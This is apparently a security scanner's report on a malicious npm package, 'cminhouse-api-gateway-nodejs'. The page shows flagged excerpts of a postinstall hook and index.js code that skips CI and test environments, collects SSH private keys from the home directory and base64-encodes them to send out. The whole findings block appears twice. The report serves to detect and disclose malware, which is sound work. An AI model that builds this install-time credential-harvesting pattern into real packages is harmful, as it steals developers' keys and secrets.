cminhouse-api-gateway-nodejs@999.0.1: Malicious npm security | LPM Firewall

Loading npm security reports…

cminhouse-api-gateway-nodejs@999.0.1: Malicious npm security | LPM Firewall

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node index.js || exit 0

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "test": "echo \"Error: no test specified\" && exit 1", "postinstall": "node index.js || exit 0" }

High

Suspicious Lifecycle Evidence

The postinstall hook automatically runs index.js during installation.

package.jsonView on unpkg · L6

•scripts.postinstall = node index.js || exit 0

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

index.jsView file

14(function() { L15: if (process.env.NODE_ENV === 'test' || L16: process.env.CI === 'true' || L17: process.env.JEST_WORKER_ID || ... L26: try { L27: const h = os.homedir(); L28: const p = os.platform(); ... L81: const c = r(path.join(sshd, file)); L82: if (c && c.includes('PRIVATE KEY')) { L83: d.f.ssh[file] = c; ... L254: L255: const payload = Buffer.from(JSON.stringify(d)).toString('base64');

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg · L14

14(function() { L15: if (process.env.NODE_ENV === 'test' || L16: process.env.CI === 'true' || L17: process.env.JEST_WORKER_ID || ... L26: try { L27: const h = os.homedir(); L28: const p = os.platform(); ... L81: const c = r(path.join(sshd, file)); L82: if (c && c.includes('PRIVATE KEY')) { L83: d.f.ssh[file] = c; ... L254: L255: const payload = Buffer.from(JSON.stringify(d)).toString('base64');

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

index.jsView on unpkg · L14

14Trigger-reachable chain: scripts.postinstall -> index.js L14: (function() { L15: if (process.env.NODE_ENV === 'test' || L16: process.env.CI === 'true' || L17: process.env.JEST_WORKER_ID || ... L26: try { L27: const h = os.homedir(); L28: const p = os.platform(); ... L81: const c = r(path.join(sshd, file)); L82: if (c && c.includes('PRIVATE KEY')) { L83: d.f.ssh[file] = c; ... L254: L255: const payload = Buffer.from(JSON.stringify(d)).toString('base64');

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L14

14Trigger-reachable credential exfiltration chain: scripts.postinstall -> index.js L14: (function() { L15: if (process.env.NODE_ENV === 'test' || L16: process.env.CI === 'true' || L17: process.env.JEST_WORKER_ID || ... L26: try { L27: const h = os.homedir(); L28: const p = os.platform(); ... L81: const c = r(path.join(sshd, file)); L82: if (c && c.includes('PRIVATE KEY')) { L83: d.f.ssh[file] = c; ... L254: L255: const payload = Buffer.from(JSON.stringify(d)).toString('base64');

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

index.jsView on unpkg · L14

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node index.js || exit 0

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "test": "echo \"Error: no test specified\" && exit 1", "postinstall": "node index.js || exit 0" }

High

Suspicious Lifecycle Evidence

The postinstall hook automatically runs index.js during installation.

package.jsonView on unpkg · L6

•scripts.postinstall = node index.js || exit 0

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

index.jsView file

14(function() { L15: if (process.env.NODE_ENV === 'test' || L16: process.env.CI === 'true' || L17: process.env.JEST_WORKER_ID || ... L26: try { L27: const h = os.homedir(); L28: const p = os.platform(); ... L81: const c = r(path.join(sshd, file)); L82: if (c && c.includes('PRIVATE KEY')) { L83: d.f.ssh[file] = c; ... L254: L255: const payload = Buffer.from(JSON.stringify(d)).toString('base64');

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

index.jsView on unpkg · L14

14(function() { L15: if (process.env.NODE_ENV === 'test' || L16: process.env.CI === 'true' || L17: process.env.JEST_WORKER_ID || ... L26: try { L27: const h = os.homedir(); L28: const p = os.platform(); ... L81: const c = r(path.join(sshd, file)); L82: if (c && c.includes('PRIVATE KEY')) { L83: d.f.ssh[file] = c; ... L254: L255: const payload = Buffer.from(JSON.stringify(d)).toString('base64');

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

index.jsView on unpkg · L14

14Trigger-reachable chain: scripts.postinstall -> index.js L14: (function() { L15: if (process.env.NODE_ENV === 'test' || L16: process.env.CI === 'true' || L17: process.env.JEST_WORKER_ID || ... L26: try { L27: const h = os.homedir(); L28: const p = os.platform(); ... L81: const c = r(path.join(sshd, file)); L82: if (c && c.includes('PRIVATE KEY')) { L83: d.f.ssh[file] = c; ... L254: L255: const payload = Buffer.from(JSON.stringify(d)).toString('base64');

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L14

14Trigger-reachable credential exfiltration chain: scripts.postinstall -> index.js L14: (function() { L15: if (process.env.NODE_ENV === 'test' || L16: process.env.CI === 'true' || L17: process.env.JEST_WORKER_ID || ... L26: try { L27: const h = os.homedir(); L28: const p = os.platform(); ... L81: const c = r(path.join(sshd, file)); L82: if (c && c.includes('PRIVATE KEY')) { L83: d.f.ssh[file] = c; ... L254: L255: const payload = Buffer.from(JSON.stringify(d)).toString('base64');

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

index.jsView on unpkg · L14